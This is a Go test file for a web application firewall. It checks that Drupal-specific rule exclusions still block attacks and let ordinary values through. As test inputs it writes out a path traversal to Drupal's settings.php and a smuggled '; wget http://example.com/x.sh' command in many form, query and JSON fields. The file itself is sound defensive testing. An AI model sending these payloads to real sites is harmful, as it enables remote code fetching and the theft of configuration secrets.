smallwebwaf/internal/coreruleset/drupal_test.go

package coreruleset_test

import (
	"net/http"
	"net/url"
	"slices"
	"testing"
)

// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5

// drupalAddArticle is Drupal's form for a new article.
const drupalAddArticle = "/node/add/article"

// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"

// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"

// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
const drupalJSONPasswordReset = "/user/password?_format=json"

// drupalTagForm is Drupal's form for a new tag.
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"

// drupalEditAccount is Drupal's form for editing an account.
const drupalEditAccount = "/user/2/edit"

// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="

func TestOrdinaryDrupalRequestsPass(t *testing.T) {
	t.Parallel()

	wantRecordedRequestsPass(t, "drupal-requests.txt")
}

// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalAttacks = []string{
	sqlInjection,
	"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
	scriptInjection,
}

func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	for _, attack := range drupalAttacks {
		for _, target := range []string{
			"/?id=",
			"/admin/content?id=",
			"/admin/content?title=",
			"/admin/content/media?name=",
			"/admin/people?user=",
			"/admin/content/files?filename=",
			"/admin/content/files?filemime=",
			"/admin/content/block?info=",
			"/admin/content/comment?subject=",
			"/admin/content/comment?author_name=",
			"/admin/config/search/path?search=",
			"/admin/content?destination=",
			"/admin/foo?q=",
			"/node/1/edit?destination=",
			"/user/login?destination=",
			"/search/node?keys=",
			"/search?keys=",
			"/entity_reference_autocomplete/user/default/KEY?q=",
			"/jsonapi/node/article?filter%5Btitle%5D=",
			"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
			"/user/password?name=",
			"/media-library?name=",
			"/views/ajax?name=",
			"/ckeditor5/basic_html/entity-link-suggestions?q=",
			"/block-category/autocomplete?q=",
			"/media/oembed?url=",
			"/big_pipe/no-js?destination=",
			"/node/2/revisions/3/revert?destination=",
			"/node/2/revisions/3/delete?destination=",
			"/block/add/basic?destination=",
			"/fr/admin/content?title=",
			"/fr/search/node?keys=",
		} {
			if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
				t.Errorf("%s%s let through: %+v", target, attack, got)
			}
		}
	}
}

func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	const reply = "/comment/reply/node/1/comment"

	for _, attack := range drupalAttacks {
		for _, sent := range []struct{ target, body string }{
			{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
			{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
			{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
			{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
			{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
			{reply, drupalName + attack},
			{drupalSignIn, "pass=" + attack},
			{drupalSignIn, drupalName + attack},
			{"/fr/user/login", drupalName + attack},
			{"/user/register", drupalName + attack},
			{drupalEditAccount, "mail=" + attack},
			{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
			{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
			{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
			{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
			{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
			{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
		} {
			r := request{http.MethodPost, sent.target, []string{formData}}

			got, _ := inspectBody(t, crs, r, sent.body)
			if got.Score < drupalThreshold {
				t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
			}
		}
	}

	for _, attack := range []string{
		injection,
		scriptTag,
	} {
		for _, field := range []string{
			`"title":"` + attack + `"`,
			`"body":{"value":"` + attack + `"}`,
			`"name":"` + attack + `"`,
			`"revision_log":"` + attack + `"`,
			`"info":"` + attack + `"`,
			`"description":{"value":"` + attack + `"}`,
		} {
			r := request{
				http.MethodPost, "/jsonapi/node/article",
				[]string{"Content-Type: application/vnd.api+json"},
			}
			body := `{"data":{"attributes":{` + field + `}}}`

			got, _ := inspectBody(t, crs, r, body)
			if got.Score < drupalThreshold {
				t.Errorf("POST %s %s let through: %+v", r.target, body, got)
			}
		}

		r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
		body := `{"title":[{"value":"` + attack + `"}]}`

		got, _ := inspectBody(t, crs, r, body)
		if got.Score < drupalThreshold {
			t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
		}

		r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
		body = `{"name":"` + attack + `","pass":"example"}`

		got, _ = inspectBody(t, crs, r, body)
		if got.Score < drupalThreshold {
			t.Errorf("POST %s %s let through: %+v", r.target, body, got)
		}
	}
}

func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	for _, attack := range []string{
		injection,
		scriptTag,
		`; wget http://example.com/x.sh`,
		`../../sites/default/settings.php`,
	} {
		for _, field := range []string{"name", "mail"} {
			r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
			body := `{"` + field + `":"` + attack + `"}`

			got, _ := inspectBody(t, crs, r, body)
			if got.Score < drupalThreshold {
				t.Errorf("POST %s %s let through: %+v", r.target, body, got)
			}
		}
	}

	// An address keeps 932250, which refuses ls -la, and 930120, which
	// refuses system file names.
	for _, kept := range []struct {
		value string
		rule  int
	}{
		{"ls -la", 932250},
		{".htaccess@example.com", 930120},
	} {
		r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
		body := `{"mail":"` + kept.value + `"}`

		got, _ := inspectBody(t, crs, r, body)
		if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
			t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
		}
	}
}

// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"

func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	for _, target := range []string{
		"/admin/content?title=",
		"/admin/content/media?name=",
		"/admin/people?user=",
		"/admin/content/files?filename=",
		"/admin/content/files?filemime=",
		"/admin/content/block?info=",
		"/admin/content/comment?subject=",
		"/admin/content/comment?author_name=",
		"/admin/config/search/path?search=",
		"/admin/views/ajax/autocomplete/tag?q=",
		"/search/node?keys=",
		"/entity_reference_autocomplete/user/default/KEY?q=",
		"/jsonapi/node/article?filter%5Btitle%5D=",
		"/user/password?name=",
		"/media-library?name=",
		"/views/ajax?name=",
		"/ckeditor5/basic_html/entity-link-suggestions?q=",
		"/block-category/autocomplete?q=",
		"/media/oembed?url=",
		"/fr/admin/content?title=",
	} {
		got := inspect(t, crs, get(target+drupalCommandAttack))
		if got.Score < drupalThreshold {
			t.Errorf("%s let through: %+v", target, got)
		}
	}
}

func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	for _, sent := range []struct{ target, field string }{
		{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
		{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
		{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
		{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
		{drupalAddArticle, "field_tags%5Btarget_id%5D="},
		{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
		{drupalSignIn, drupalName},
		{"/user/register", drupalName},
		{drupalEditAccount, "mail="},
		{"/comment/reply/node/1/comment", drupalName},
		{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
		{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
		{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
		{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
		{"/contact", "subject%5B0%5D%5Bvalue%5D="},
		{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
		{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
	} {
		r := request{http.MethodPost, sent.target, []string{formData}}

		got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
		if got.Score < drupalThreshold {
			t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
		}
	}

	for _, field := range []string{
		`"title":"; wget http://example.com/x.sh"`,
		`"subject":"; wget http://example.com/x.sh"`,
		`"body":{"summary":"; wget http://example.com/x.sh"}`,
		`"name":"; wget http://example.com/x.sh"`,
		`"revision_log":"; wget http://example.com/x.sh"`,
		`"info":"; wget http://example.com/x.sh"`,
		`"description":{"value":"; wget http://example.com/x.sh"}`,
	} {
		r := request{
			http.MethodPost, "/jsonapi/node/article",
			[]string{"Content-Type: application/vnd.api+json"},
		}
		body := `{"data":{"attributes":{` + field + `}}}`

		got, _ := inspectBody(t, crs, r, body)
		if got.Score < drupalThreshold {
			t.Errorf("POST %s %s let through: %+v", r.target, body, got)
		}
	}

	r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
	body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`

	got, _ := inspectBody(t, crs, r, body)
	if got.Score < drupalThreshold {
		t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
	}

	r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
	body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`

	got, _ = inspectBody(t, crs, r, body)
	if got.Score < drupalThreshold {
		t.Errorf("POST %s %s let through: %+v", r.target, body, got)
	}

	// An address keeps 932250, which refuses ls -la.
	r = request{http.MethodPost, drupalEditAccount, []string{formData}}

	got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
	if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
		t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
	}
}

func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	const subject = "subject%5B0%5D%5Bvalue%5D="

	for _, value := range hardValues {
		for _, sent := range []struct{ target, field string }{
			{"/comment/reply/node/1/comment", subject},
			{"/comment/reply/node/1/comment/5", subject},
			{"/comment/reply/node/1/field_comments", subject},
			{"/comment/reply/media/1/comment", subject},
			{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
			{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
			{drupalSignIn, "pass="},
		} {
			r := request{http.MethodPost, sent.target, []string{formData}}

			got, _ := inspectBody(t, crs, r, sent.field+value)
			if got.Score >= drupalThreshold {
				t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
			}
		}
	}

	for _, value := range hardValues {
		word, err := url.QueryUnescape(value)
		if err != nil {
			t.Fatal(err)
		}

		r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
		body := `{"name":"example","pass":"` + word + `"}`

		got, _ := inspectBody(t, crs, r, body)
		if got.Score >= drupalThreshold {
			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
		}

		r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
		body = `{"name":"` + word + `"}`

		got, _ = inspectBody(t, crs, r, body)
		if got.Score >= drupalThreshold {
			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
		}
	}

	for _, address := range []string{"python3@example.com", "powershell@example.com"} {
		r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
		body := `{"mail":"` + address + `"}`

		got, _ := inspectBody(t, crs, r, body)
		if got.Score >= drupalThreshold {
			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
		}
	}
}

func TestDrupalExclusionsAreNarrow(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	for _, passes := range []string{
		"/admin/content?title=python3",
		"/search/node?keys=python3",
		"/entity_reference_autocomplete/user/default/KEY?q=python3",
		"/jsonapi/node/article?filter%5Btitle%5D=python3",
		"/node/1/edit?destination=python3",
		"/fr/admin/content?title=python3",
		"/pt-br/search/node?keys=python3",
		"/user/password?name=python3",
	} {
		if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
			t.Errorf("%s refused: %+v", passes, got)
		}
	}

	for _, refused := range []string{
		"/?title=python3",
		"/admin/content?other=python3",
		"/?keys=python3",
		"/node/1?keys=python3",
		"/?q=python3",
		"/?filter%5Btitle%5D=python3",
		"/python3-notes?destination=python3",
		"/notes/admin/content?title=python3",
		"/fr/node/1?keys=python3",
		"/?name=python3",
		"/user/login?name=python3",
		"/media/oembed?url=python3",
		"/media/oembed?url=ls%20-la",
	} {
		if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
			t.Errorf("%s let through: %+v", refused, got)
		}
	}
}

func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	// The same field name in the query keeps the rules, in the query and
	// in the body.
	for _, sent := range []struct{ path, field string }{
		{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
		{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
		{drupalSignIn, "pass=python3"},
		{drupalSignIn, "name=python3"},
		{drupalEditAccount, "mail=python3"},
		{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
	} {
		r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}

		got, _ := inspectBody(t, crs, r, sent.field)
		if got.Score < drupalThreshold {
			t.Errorf("POST %s let through: %+v", r.target, got)
		}
	}

	// The JSON field name keeps the rules beside json.name in the query, and
	// on a path other than the password reset.
	for _, target := range []string{
		drupalJSONPasswordReset + "&json.name=python3",
		"/user/register?_format=json",
	} {
		r := request{http.MethodPost, target, []string{jsonBody}}

		got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
		if got.Score < drupalThreshold {
			t.Errorf("POST %s let through: %+v", r.target, got)
		}
	}

	// So does the JSON field mail.
	for _, target := range []string{
		drupalJSONPasswordReset + "&json.mail=python3%40example.com",
		"/user/register?_format=json",
	} {
		r := request{http.MethodPost, target, []string{jsonBody}}

		got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
		if got.Score < drupalThreshold {
			t.Errorf("POST %s let through: %+v", r.target, got)
		}
	}
}